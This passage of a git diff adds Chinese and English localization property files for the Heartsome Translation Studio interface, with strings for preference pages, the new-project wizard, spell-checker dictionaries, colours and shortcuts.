+languagecode.AddOrUpdateLanguageDialog.msg8 = \u65e0\u6548\u7684 ISO 3166-1 \u56fd\u5bb6\u4ee3\u7801\u3002 +languagecode.AddOrUpdateLanguageDialog.msg9 = \u8bed\u8a00\u4ee3\u7801\u957f\u5ea6\u4e0d\u6b63\u786e\u3002 + +translation.TranslationPreferencePage.title = \u7ffb\u8bd1 +translation.TranslationPreferencePage.group = \u81ea\u52a8\u529f\u80fd +translation.TranslationPreferencePage.imageLabel = \u7ffb\u8bd1\u65f6\u9700\u8981\u81ea\u52a8\u6267\u884c\u7684\u529f\u80fd\uff1a +translation.TranslationPreferencePage.btnAutoAdaptSpacePosition = \u63a5\u53d7\u5339\u914d\u65f6\u8c03\u6574\u7a7a\u683c +translation.TranslationPreferencePage.btnAutoApplyTmMatch = \u65e0\u8bd1\u6587\u65f6\u63a5\u53d7\u6700\u9ad8 TM \u5339\u914d +translation.TranslationPreferencePage.btnCopyToTarget = \u65e0\u5339\u914d\u65f6\u590d\u5236\u6e90\u6587\u4e3a\u8bd1\u6587 +translation.TranslationPreferencePage.btnAutoQuickTranslation = \u81ea\u52a8\u5feb\u901f\u7ffb\u8bd1 +translation.TranslationPreferencePage.openOfficeGroup = MS Office 2003 \u6587\u6863\u652f\u6301 +translation.TranslationPreferencePage.imageLabel2 = \u4f7f\u7528\u514d\u8d39\u7684 OpenOffice/LibreOffice \u95f4\u63a5\u652f\u6301 MS Office 2003 \u6587\u6863\u7684\u8f6c\u6362\uff0c\u8be5\u8f6f\u4ef6\u53ef\u4ee5\u5728 www.openoffice.org \u4e0b\u8f7d\uff1a +translation.TranslationPreferencePage.lblOO = OpenOffice \u5b89\u88c5\u8def\u5f84\uff1a +translation.TranslationPreferencePage.btnBrowse = \u6d4f\u89c8(&B)... +#translation.TranslationPreferencePage.txtPort = \u7aef\u53e3\uff1a +#translation.TranslationPreferencePage.btnEnableAutoConvert = \u542f\u7528 +#translation.TranslationPreferencePage.msgTitle = \u63d0\u793a +#translation.TranslationPreferencePage.msg1 = \u8bf7\u5148\u8bbe\u7f6e OpenOffice/LibreOffice \u7684\u5b89\u88c5\u8def\u5f84\uff0c\u7136\u540e\u518d\u542f\u7528\u3002 +#translation.TranslationPreferencePage.msg2 = \u8bf7\u8bbe\u7f6e OpenOffice/LibreOffice \u7684\u5b89\u88c5\u8def\u5f84\u3002 +#translation.TranslationPreferencePage.msg3 = \u8bf7\u8bbe\u7f6e OpenOffice/LibreOffice \u7684\u8bbf\u95ee\u7aef\u53e3\u3002 + +projectsetting.ProjectSettingBaseInfoPage.title = \u9879\u76ee\u4fe1\u606f +projectsetting.ProjectSettingBaseInfoPage.projectNameLabel = \u9879\u76ee\u540d\u79f0\uff1a +projectsetting.ProjectSettingBaseInfoPage.sourceLangLabel = \u6e90\u8bed\u8a00\uff1a +projectsetting.ProjectSettingBaseInfoPage.targetlangLabel = \u76ee\u6807\u8bed\u8a00\uff1a +projectsetting.ProjectSettingBaseInfoPage.clientText = \u5ba2\u6237\uff1a +projectsetting.ProjectSettingBaseInfoPage.companyText = \u516c\u53f8\uff1a +projectsetting.ProjectSettingBaseInfoPage.emailText = \u7535\u5b50\u90ae\u7bb1\uff1a +projectsetting.ProjectSettingBaseInfoPage.remarkText = \u5907\u6ce8\uff1a +projectsetting.ProjectSettingDialog.title = \u9879\u76ee\u8bbe\u7f6e +projectsetting.ProjectSettingLanguagePage.title = \u9879\u76ee\u8bed\u8a00 +projectsetting.ProjectSettingLanguagePage.msgTitle = \u63d0\u793a +projectsetting.ProjectSettingLanguagePage.msg1 = \u8bf7\u9009\u62e9\u76ee\u6807\u8bed\u8a00\u3002 +projectsetting.ProjectSettingLanguagePage.msg2 = \u6e90\u8bed\u8a00\u548c\u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u76f8\u540c\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u3002 +projectsetting.ProjectSettingLanguagePage.sourceLanguageGrp = \u6e90\u8bed\u8a00(&S) +projectsetting.ProjectSettingLanguagePage.targetLanguageGrp = \u76ee\u6807\u8bed\u8a00(&T) +projectsetting.ProjectSettingLanguagePage.addBtn = \u6dfb\u52a0(&A) > +projectsetting.ProjectSettingLanguagePage.deleteBtn = < \u79fb\u9664(&R) +projectsetting.ProjectSettingLanguagePage.deleteAllBtn = << \u5168\u90e8\u79fb\u9664(&M) + +propertyTester.MultiSelectionPropertyTester.logger1 = [LOG] \u4ece\u6587\u4ef6\u5939 {0} \u83b7\u53d6 XLIFF \u6587\u4ef6\u5931\u8d25 + +util.DataSourceHelper.logger1 = [LOG] \u83b7\u53d6 {0} \u5b9e\u4f8b\u65f6\u51fa\u73b0\u5f02\u5e38\u3002 +util.DataSourceHelper.logger2 = [LOG] \u5728\u5411 EditorInput \u4e2d\u4fdd\u5b58 {0} \u5bf9\u8c61\u65f6\u53d1\u751f\u5f02\u5e38\u3002 + +wizard.NewProjectWizard.title = \u65b0\u5efa\u9879\u76ee\u5411\u5bfc +wizard.NewProjectWizard.logger1 = [LOG] \u52a0\u8f7d\u65b0\u5efa\u5411\u5bfc\u6269\u5c55\u70b9\u51fa\u9519 +wizard.NewProjectWizard.logger2 = [LOG] \u52a0\u8f7d\u8f6c\u6362\u5668\u6269\u5c55\u70b9\u51fa\u9519 +wizard.NewProjectWizard.task1 = \u6b63\u5728\u521b\u5efa\u9879\u76ee... +wizard.NewProjectWizard.logger3 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u590d\u5236\u6e90\u6587\u4ef6\u65f6\u6e05\u7a7a\u8d44\u6e90\u51fa\u9519 +wizard.NewProjectWizard.logger4 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u590d\u5236\u6e90\u6587\u4ef6\u51fa\u9519 +wizard.NewProjectWizard.logger5 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u9879\u76ee\u8d44\u6e90\u51fa\u9519 +wizard.NewProjectWizard.logger6 = [LOG] \u9879\u76ee\u65b0\u5efa\u5411\u5bfc\uff0c\u521b\u5efa\u9879\u76ee\u76ee\u5f55\u8d44\u6e90\u51fa\u9519 +wizard.NewProjectWizard.task2 = \u6b63\u5728\u521d\u59cb\u5316\u9879\u76ee\u914d\u7f6e\u4fe1\u606f... +wizard.NewProjectWizard.task3 = \u6b63\u5728\u590d\u5236\u6587\u4ef6... +wizard.NewProjectWizard.msgTitle = \u63d0\u793a +wizard.NewProjectWizard.msg1 = \u8be5\u6587\u4ef6\u5df2\u5b58\u5728\uff0c\u786e\u5b9a\u8981\u8986\u76d6\u5417\uff1f +wizard.NewProjectWizard.msg2 = \u590d\u5236\u6587\u4ef6 {0} \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +wizard.NewProjectWizardLanguagePage.title = \u8bed\u8a00\u5bf9 +wizard.NewProjectWizardLanguagePage.desc = \u9009\u62e9\u9879\u76ee\u7684\u6e90\u8bed\u8a00\uff0c\u4f7f\u7528\u201c\u6dfb\u52a0\u201d\u548c\u201c\u79fb\u9664\u201d\u7b49\u6309\u94ae\u8bbe\u7f6e\u9879\u76ee\u7684\u76ee\u6807\u8bed\u8a00\u3002 +wizard.NewProjectWizardLanguagePage.sourceLanguageGrp = \u6e90\u8bed\u8a00(&S) +wizard.NewProjectWizardLanguagePage.targetLanguageGrp = \u76ee\u6807\u8bed\u8a00(&T) +wizard.NewProjectWizardLanguagePage.addBtn = \u6dfb\u52a0(&A) > +wizard.NewProjectWizardLanguagePage.deleteBtn = < \u79fb\u9664(&R) +wizard.NewProjectWizardLanguagePage.deleteAllBtn = << \u5168\u90e8\u79fb\u9664(&M) +wizard.NewProjectWizardLanguagePage.msg1 = \u8bf7\u9009\u62e9\u6e90\u8bed\u8a00 +wizard.NewProjectWizardLanguagePage.msg2 = \u8bf7\u6dfb\u52a0\u81f3\u5c11\u4e00\u4e2a\u76ee\u6807\u8bed\u8a00 +wizard.NewProjectWizardLanguagePage.msg3 = \u6e90\u8bed\u8a00\u548c\u76ee\u6807\u8bed\u8a00\u4e0d\u80fd\u76f8\u540c\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9 +wizard.NewProjectWizardProjInfoPage.title = \u9879\u76ee\u4fe1\u606f +wizard.NewProjectWizardProjInfoPage.desc = \u586b\u5199\u9879\u76ee\u7684\u57fa\u672c\u4fe1\u606f\u3002 +wizard.NewProjectWizardProjInfoPage.projectNameText = \u9879\u76ee\u540d\u79f0(&A)\uff1a +wizard.NewProjectWizardProjInfoPage.clientText = \u5ba2\u6237(&C)\uff1a +wizard.NewProjectWizardProjInfoPage.companyText = \u516c\u53f8(&M)\uff1a +wizard.NewProjectWizardProjInfoPage.emailText = \u7535\u5b50\u90ae\u7bb1(&E)\uff1a +wizard.NewProjectWizardProjInfoPage.remarkText = \u5907\u6ce8(&R)\uff1a +wizard.NewProjectWizardProjInfoPage.msg1 = \u8be5\u9879\u76ee\u540d\u79f0\u5df2\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165 +wizard.NewProjectWizardProjInfoPage.msg2 = \u8be5\u9879\u76ee\u540d\u79f0\u5df2\u88ab\u4f7f\u7528\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165 +wizard.NewProjectWizardSourceFilePage.title = \u6dfb\u52a0\u6e90\u6587\u4ef6 +wizard.NewProjectWizardSourceFilePage.desc = \u6dfb\u52a0\u8be5\u9879\u76ee\u9700\u8981\u7ffb\u8bd1\u7684\u6e90\u8bed\u8a00\u6587\u4ef6\u3002 +wizard.NewProjectWizardSourceFilePage.btnConvert = \u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF +wizard.NewProjectWizardSourceFilePage.addBtn = \u6dfb\u52a0(&A) +wizard.NewProjectWizardSourceFilePage.deleteBtn = \u79fb\u9664(&R) + +######################## 2012-09-03 \u65b0\u589e\u5185\u5bb9 ####################################### +colors.ColorsPreferencePage.wrongTagColor = \u9519\u8bef\u6807\u8bb0\u989c\u8272\uff1a + +# 2012-09-27 add by jason +languagecode.LanguageCodesPreferencePage.msg5 = \u8bed\u8a00\u88ab\u5220\u9664\u540e\u5c06\u65e0\u6cd5\u6062\u590d\uff0c\u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u8bed\u8a00\u5417\uff1f + + +# 2012-10-18 add by jason \u6dfb\u52a0\u5b57\u4f53\u8bbe\u7f6e\u529f\u80fd +preferencepage.SystemPreferencePage.groupFont = \u5b57\u4f53 +preferencepage.SystemPreferencePage.groupFont.desc = \u8bbe\u7f6e XLIFF \u7f16\u8f91\u5668\u3001\u8bb0\u5fc6\u5e93\u5339\u914d\u89c6\u56fe\u4ee5\u53ca\u672f\u8bed\u5339\u914d\u89c6\u56fe\u7684\u5b57\u4f53\u548c\u5b57\u53f7\uff1a + +handler.OpenMultiXliffHandler.tip1 = \u6b63\u5728\u5408\u5e76\u6253\u5f00... + +######################## 2012-11-20 ####################################### +handlers.NewProjectHandler.finishLbl = \u521b\u5efa + +######################## 2012-11-23 ####################################### +preferencepage.ProjectPropertiesPreferencePage.title = \u9879\u76ee\u5c5e\u6027 +preferencepage.ProjectPropertiesPreferencePage.groupField = \u81ea\u5b9a\u4e49\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.imageLabel1 = \u7ba1\u7406\u8981\u5728\u9879\u76ee\u4e2d\u4f7f\u7528\u7684\u6587\u672c\u7c7b\u578b\u81ea\u5b9a\u4e49\u5b57\u6bb5\uff1a +preferencepage.ProjectPropertiesPreferencePage.lblField = \u5b57\u6bb5\u540d\u79f0\uff1a +preferencepage.ProjectPropertiesPreferencePage.btnFieldAdd = \u6dfb\u52a0\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.btnFieldDel = \u5220\u9664\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.groupAttr = \u81ea\u5b9a\u4e49\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.imageLabel2 = \u7ba1\u7406\u8981\u5728\u9879\u76ee\u4e2d\u4f7f\u7528\u7684\u5c5e\u6027\u7c7b\u578b\u81ea\u5b9a\u4e49\u5b57\u6bb5\uff0c\u9700\u8981\u4e3a\u5c5e\u6027\u5b57\u6bb5\u6307\u5b9a\u9884\u8bbe\u503c\uff1a +preferencepage.ProjectPropertiesPreferencePage.lblAttrName = \u5b57\u6bb5\u540d\u79f0\uff1a +preferencepage.ProjectPropertiesPreferencePage.lblAttrVal = \u9884\u8bbe\u503c\uff1a +preferencepage.ProjectPropertiesPreferencePage.btnAttrNameAdd = \u6dfb\u52a0\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.btnAttrNameDel = \u5220\u9664\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.btnAttrValAdd = \u6dfb\u52a0\u9884\u8bbe\u503c +preferencepage.ProjectPropertiesPreferencePage.btnAttrValDel = \u5220\u9664\u9884\u8bbe\u503c +preferencepage.ProjectPropertiesPreferencePage.msgTitle1 = \u786e\u8ba4 +preferencepage.ProjectPropertiesPreferencePage.msg1 = \u786e\u5b9a\u8981\u5220\u9664\u9009\u4e2d\u7684\u6570\u636e\u5417\uff1f +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title1 = \u6dfb\u52a0\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title2 = \u6dfb\u52a0\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title3 = \u6dfb\u52a0\u5c5e\u6027\u9884\u8bbe\u503c +preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl1 = \u5b57\u6bb5\u540d\u79f0\uff1a +preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl2 = \u5b57\u6bb5\u540d\u79f0\uff1a +preferencepage.ProjectPropertiesPreferencePage.AddDialog.lbl3 = \u9884\u8bbe\u503c\uff1a +preferencepage.ProjectPropertiesPreferencePage.msgTitle2 = \u63d0\u793a +preferencepage.ProjectPropertiesPreferencePage.msg5 = \u8be5\u6587\u672c\u5b57\u6bb5\u540d\u79f0\u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg6 = \u8be5\u5c5e\u6027\u5b57\u6bb5\u540d\u79f0\u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg7 = \u8be5\u5c5e\u6027\u503c\u5df2\u5b58\u5728\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +wizards.NewProjectWizardProjInfoPage.groupField = \u9879\u76ee\u5c5e\u6027 + +######################## 2012-11-26 ####################################### +wizards.NewProjectWizardProjInfoPage.colon = \uff1a +preferencepage.ProjectPropertiesPreferencePage.msg8 = \u8bf7\u9009\u62e9\u8981\u5220\u9664\u7684\u6570\u636e\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg9 = \u8bf7\u5148\u9009\u62e9\u4e00\u4e2a\u5c5e\u6027\u5b57\u6bb5\uff0c\u7136\u540e\u624d\u80fd\u4e3a\u5176\u6dfb\u52a0\u9884\u8bbe\u503c\u3002 + +######################## 2012-11-28 ####################################### +preferencepage.ProjectPropertiesPreferencePage.btnFieldEdit = \u7f16\u8f91\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.btnAttrNameEdit = \u7f16\u8f91\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.btnAttrValEdit = \u7f16\u8f91\u9884\u8bbe\u503c +preferencepage.ProjectPropertiesPreferencePage.msg10 = \u8bf7\u9009\u62e9\u8981\u7f16\u8f91\u7684\u6570\u636e\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg11 = \u4e0d\u80fd\u540c\u65f6\u7f16\u8f91\u591a\u6761\u6570\u636e\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u8981\u7f16\u8f91\u7684\u6570\u636e\u3002 +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title4 = \u7f16\u8f91\u6587\u672c\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title5 = \u7f16\u8f91\u5c5e\u6027\u5b57\u6bb5 +preferencepage.ProjectPropertiesPreferencePage.AddDialog.title6 = \u7f16\u8f91\u5c5e\u6027\u9884\u8bbe\u503c +preference.PreferenceUtil.logger1 = [LOG]\u83b7\u53d6\u7248\u672c\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef +wizards.NewProjectWizardDialog.btnSetting = \u9009\u9879(&O)... + +######################## 2012-12-04 ####################################### +preferencepage.ProjectPropertiesPreferencePage.msg12 = \u5b57\u6bb5\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a\u683c\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg13 = \u5b57\u6bb5\u540d\u79f0\u4e0d\u80fd\u4e3a\u7a7a\u683c\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg14 = \u9884\u8bbe\u503c\u4e0d\u80fd\u4e3a\u7a7a\u683c\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002 +preferencepage.ProjectPropertiesPreferencePage.msg15 = \u6587\u672c\u4e0d\u80fd\u8d85\u8fc7 50 \u4e2a\u534a\u89d2\u5b57\u7b26\uff08\u4e0d\u5305\u62ec\u9996\u5c3e\u7a7a\u683c\uff09\u3002 +wizard.NewProjectWizardProjInfoPage.msg3 = \u6587\u672c\u5b57\u6bb5\u503c\u4e0d\u80fd\u5168\u4e3a\u7a7a\u683c\u3002 +wizard.NewProjectWizardProjInfoPage.msg4 = \u6587\u672c\u5b57\u6bb5\u503c\u4e0d\u80fd\u8d85\u8fc7 50 \u4e2a\u534a\u89d2\u5b57\u7b26\uff08\u4e0d\u5305\u62ec\u9996\u5c3e\u7a7a\u683c\uff09\u3002 + +# 2013-01-10 add by jason +colors.ColorsPreferencePage.groupTerms = \u672f\u8bed\u5e93\u5339\u914d +colors.ColorsPreferencePage.highlightedTermColor = \u672f\u8bed\u9ad8\u4eae\u8272\uff1a + +# 2013-04-08 add by jason +preferencepage.fontsetting.editor.title = \u7f16\u8f91\u5668\u5b57\u4f53 +preferencepage.fontsetting.matchView.title = \u8bb0\u5fc6\u5e93/\u672f\u8bed\u5e93\u5339\u914d\u5b57\u4f53 + +# 2013-04-25 and by robert +NewProjectWizardProjInfoPage.valid.waring = {0} \u5728\u8d44\u6e90\u540d\u79f0\u201c{1}\u201d\u4e2d\u662f\u65e0\u6548\u5b57\u7b26\u3002 \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/message_en.properties b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/message_en.properties new file mode 100644 index 0000000..a46a72e --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/resource/message_en.properties @@ -0,0 +1,287 @@ +composite.LanguageLabelProvider.logger1 = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519\uff0c\u63d2\u4ef6 ID\uff1a + +handlers.NewFolderHandler.msgTitle = Message +handlers.NewFolderHandler.msg1 = Please specify a location where you want to save the new folder. +handlers.NewFolderHandler.msg2 = Please specify a location where you want to save the new folder. +handlers.OpenMultiXliffHandler.msgTitle = Message +handlers.OpenMultiXliffHandler.msg1 = Unable to open {0} because it is not an XLIFF file. +handlers.OpenMultiXliffHandler.msg2 = Unable to open files from more than one projects in one tab. Please select XLIFF files from the same project and try again. +handlers.OpenMultiXliffHandler.logger1 = [LOG] \u6587\u4ef6\u5939 {0} \u83b7\u53d6 XLIFF \u6587\u4ef6\u5931\u8d25 +handlers.OpenMultiXliffHandler.msg3 = To open XLIFF files in one tab, you need to select at least 2 files. Please try again. +handlers.OpenMultiXliffHandler.msg4 = The selected file is open in another program. Please close it and try again. +handlers.OpenMultiXliffHandler.msgTitle2 = Confirm +handlers.OpenMultiXliffHandler.msg5 = When you open selected files in one tab, at least one of file has already been opened in the editor.\nAre you sure you want to skip files already opened, continue to open other files in one tab? If you want to continue to open all selected files in one tab, please click the "Cancel" button first and close all opened files. Then try again. +handlers.OpenMultiXliffHandler.msg6 = To open XLIFF files in one tab, you need to select at least 2 files. Please try again. +handlers.OpenMultiXliffHandler.msg7 = Unable to open: The specified file has more than one language pair. Please select again. +handlers.OpenMultiXliffHandler.logger2 = [LOG] \u5408\u5e76\u6253\u5f00\u4e34\u65f6\u6587\u4ef6\u5220\u9664\u5931\u8d25 +handlers.OpenMultiXliffHandler.logger3 = [LOG] \u5408\u5e76\u6253\u5f00\u5931\u8d25 +handlers.OpenMultiXliffHandler.msg8 = An error occured when opening files in one tab. Please try again. +handlers.ProjectSettingHandler.msgTitle = Message +handlers.ProjectSettingHandler.msg1 = Please select a project. +handlers.ProjectSettingHandler.logger1 = [LOG] \u52a0\u8f7d\u65b0\u5efa\u5411\u5bfc\u6269\u5c55\u70b9\u51fa\u9519 + +innertag.SegmentViewer.msg1 = Unable to delete tags in source. + +preferencepage.SystemPreferenceInitializer.logger1 = [LOG] \u672a\u627e\u5230\u4ea7\u54c1\u7684 ini \u6587\u4ef6 +preferencepage.SystemPreferencePage.title = System +# \u4e0b\u5217\u4e03\u4e2a\u503c\u4e3a\u7cfb\u7edf\u754c\u9762\u4e0a\u6309\u5468\u68c0\u67e5\u66f4\u65b0\u65f6\u4e0b\u62c9\u6846\u4e2d\u663e\u793a\u7684\u503c +preferencepage.SystemPreferencePage.Mon = Monday +preferencepage.SystemPreferencePage.Tue = Tuesday +preferencepage.SystemPreferencePage.Wed = Wednesday +preferencepage.SystemPreferencePage.Thu = Thursday +preferencepage.SystemPreferencePage.Fri = Friday +preferencepage.SystemPreferencePage.Sat = Saturday +preferencepage.SystemPreferencePage.Sun = Sunday +preferencepage.SystemPreferencePage.groupCommon = Auto Update +preferencepage.SystemPreferencePage.imageLabel1 = Check software updates automatically: +preferencepage.SystemPreferencePage.btnCheckUpdateWithStartup = At startup +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly1 = Monthly +preferencepage.SystemPreferencePage.btnCheckUpdateWithMonthly2 = \ +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly1 = Weekly +preferencepage.SystemPreferencePage.btnCheckUpdateWithWeekly2 = \ +preferencepage.SystemPreferencePage.btnCheckUpdateWithNever = Never +preferencepage.SystemPreferencePage.groupLanguage = User Interface Language +preferencepage.SystemPreferencePage.imageLabel3 = After changing the user interface language, you need to restart the software for the changes to take effect: +preferencepage.SystemPreferencePage.btnLanguageWithEN = English +preferencepage.SystemPreferencePage.btnLanguageWithZHCN = Simplified Chinese +preferencepage.SystemPreferencePage.groupSystemUser = Username +preferencepage.SystemPreferencePage.imageLabel4 = When updating translation memories, this username will be used as the creator or modifier of the translation units: +preferencepage.SystemPreferencePage.lblUser = Username: +preferencepage.SystemPreferencePage.msgTitle = Message +preferencepage.SystemPreferencePage.msgInfo = You have changed the user interface language. Please restart the software for the changes to take effect. Do you want to restart now? +preferencepage.KeysPreferencePage.groupParent = Shortcuts +preferencepage.KeysPreferencePage.imageLabel = To customize the shortcut for a certain function, please click the appropriate cell in the "Shortcut" column and press the desired key combination for your shortcut. Then click outside the cell to confirm it. If the shortcut combination is already taken, it will turn red. +preferencepage.KeysPreferencePage.toolCategory = Tools +preferencepage.KeysPreferencePage.toolbarCategory = Toolbar +preferencepage.KeysPreferencePage.helpCategory = Help +preferencepage.KeysPreferencePage.commandNameColumn = Function +preferencepage.KeysPreferencePage.triggerSequenceColumn = Shortcuts +preferencepage.KeysPreferencePage.categoryColumn = Type +preferencepage.KeysPreferencePage.msgTitle = Message +preferencepage.KeysPreferencePage.msg = There exists conflicts for shortcut settings, please modify shortcuts highlighted in red. + +colors.ColorsPreferencePage.groupTrans = Machine Translations +colors.ColorsPreferencePage.QT = Quick Translations: +colors.ColorsPreferencePage.groupMatch = Translation Memory Matches +colors.ColorsPreferencePage.match101 = Context Matches: +colors.ColorsPreferencePage.match100 = Exact Matches: +colors.ColorsPreferencePage.match90 = 90~99% Matches: +colors.ColorsPreferencePage.match80 = 80~89% Matches: +colors.ColorsPreferencePage.match70 = 70~79% Matches: +colors.ColorsPreferencePage.match0 = Matches Lower Than 70%: +colors.ColorsPreferencePage.groupTag = Tag +colors.ColorsPreferencePage.tagForground = Tag ID Color: +colors.ColorsPreferencePage.tagBackground = Default Tag Color: +colors.ColorsPreferencePage.groupSource = Text Differences +colors.ColorsPreferencePage.SourceForground = Background Color of Different Text: +colors.ColorsPreferencePage.SourceBackground = Foreground Color of Different Text: + +dictionaries.InternalDictionaresPreferencePage.title = Built-in Spell Checker +dictionaries.InternalDictionaresPreferencePage.logger = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519 +dictionaries.InternalDictionaresPreferencePage.groupParent = Built-in Spell Checker +dictionaries.InternalDictionaresPreferencePage.imageLabel = Download the internal spell checker and dictionary and specify which dictionary to use for each language. +dictionaries.InternalDictionaresPreferencePage.lblDic = Dictionary: +dictionaries.InternalDictionaresPreferencePage.btnDownloadDic = &Download +dictionaries.InternalDictionaresPreferencePage.lblLang = Language: +dictionaries.InternalDictionaresPreferencePage.btnAddList = &Add +dictionaries.InternalDictionaresPreferencePage.btnRemoveList = &Remove +dictionaries.InternalDictionaresPreferencePage.arrTableHeader1 = Language +dictionaries.InternalDictionaresPreferencePage.arrTableHeader2 = Dictionary +dictionaries.InternalDictionaresPreferencePage.logger1 = [LOG] \u5199\u5165\u6587\u4ef6\uff1a{0} failed. +dictionaries.InternalDictionaresPreferencePage.msgTitle = Message +dictionaries.InternalDictionaresPreferencePage.msg1 = Please select the language and dictionary you want to remove from the spell check list. +dictionaries.InternalDictionaresPreferencePage.logger2 = [LOG] \u89e3\u6790\u6587\u4ef6\uff1a{0} failed. +dictionaries.InternalDictionaresPreferencePage.logger3 = [LOG] \u590d\u5236\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\u3002 +dictionaries.InternalDictionaresPreferencePage.msg2 = The following error occured when loading the dictionary list: {0}\nPlease reinstall Heartsome Translation Studio. +dictionaries.DictionaryList.Title = Download Internal Spell Checker and Dictionary +dictionaries.DictionaryList.langname = Language +dictionaries.DictionaryList.filename = File +dictionaries.DictionaryList.HS = Download from Heartsome +dictionaries.DictionaryList.OOo = Download from OpenOffice.org +dictionaries.DictionaryList.download = &Download +dictionaries.DictionaryList.refresh = &Refresh +dictionaries.DictionaryList.cancel = Close +dictionaries.DictionaryList.msgTitle = Message +dictionaries.DictionaryList.msg1 = Please select the dictionary you want to download. +dictionaries.DictionaryList.msg2 = Please try again because the following error occured when searching dictionaries: {0} +dictionaries.DictionaryList.msg3 = The selected dictionary has been downloaded. +dictionaries.DictionaryList.msg4 = Please try again because the following error occured when searching the list: {0} +dictionaries.AspellDictionaresPreferencePage.title = Aspell Spell Checker +dictionaries.AspellDictionaresPreferencePage.logger = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519 +dictionaries.AspellDictionaresPreferencePage.groupParent = Aspell Spell Checker +dictionaries.AspellDictionaresPreferencePage.imageLabel = Specify the path of Aspell and specify which dictionary you want to use for each language. +dictionaries.AspellDictionaresPreferencePage.lblPath = Path: +dictionaries.AspellDictionaresPreferencePage.btnBrowse = &Browse... +dictionaries.AspellDictionaresPreferencePage.btnUTF8 = Use UTF-8 +dictionaries.AspellDictionaresPreferencePage.lblDic = Dictionary: +dictionaries.AspellDictionaresPreferencePage.btnRefresh = Re&fresh +dictionaries.AspellDictionaresPreferencePage.lblLang = Language: +dictionaries.AspellDictionaresPreferencePage.btnAdd = &Add +dictionaries.AspellDictionaresPreferencePage.btnRemove = &Remove +dictionaries.AspellDictionaresPreferencePage.arrTableHeader1 = Language +dictionaries.AspellDictionaresPreferencePage.arrTableHeader2 = Dictionary +dictionaries.AspellDictionaresPreferencePage.logger1 = [LOG] \u89e3\u6790 aspellConfigure.XML file Failed +dictionaries.AspellDictionaresPreferencePage.btnBrowse.Title = Select Aspell application +dictionaries.AspellDictionaresPreferencePage.logger2 = [LOG] \u5199\u5165\u6587\u4ef6\uff1a{0} failed. +dictionaries.AspellDictionaresPreferencePage.msgTitle = Message +dictionaries.AspellDictionaresPreferencePage.msg1 = Please select the language and dictionary you want to remove from the spell check list. +dictionaries.AspellDictionaresPreferencePage.msg2 = An error occured when loading the file. Please try again. +dictionaries.AspellDictionaresPreferencePage.logger3 = [LOG] \u521b\u5efa aspellConfigure.XML file Failed +dictionaries.AspellDictionaresPreferencePage.logger4 = [LOG] \u5199\u5165 aspellConfigure.XML file Failed + +translation.TranslationPreferencePage.title = Translation +translation.TranslationPreferencePage.group = Auto Features: +translation.TranslationPreferencePage.imageLabel = Auto features to be used during translation: +translation.TranslationPreferencePage.btnAutoAdaptSpacePosition = Adjust spaces when applying match +translation.TranslationPreferencePage.btnAutoApplyTmMatch = Apply best match when target segment is empty +translation.TranslationPreferencePage.btnCopyToTarget = Copy source when no match is found +translation.TranslationPreferencePage.btnAutoQuickTranslation = Auto Quick Translation +translation.TranslationPreferencePage.openOfficeGroup = Support for MS Office 2003 +translation.TranslationPreferencePage.imageLabel2 = Convert MS Office 2003 files with OpenOffice/LibreOffice. Download 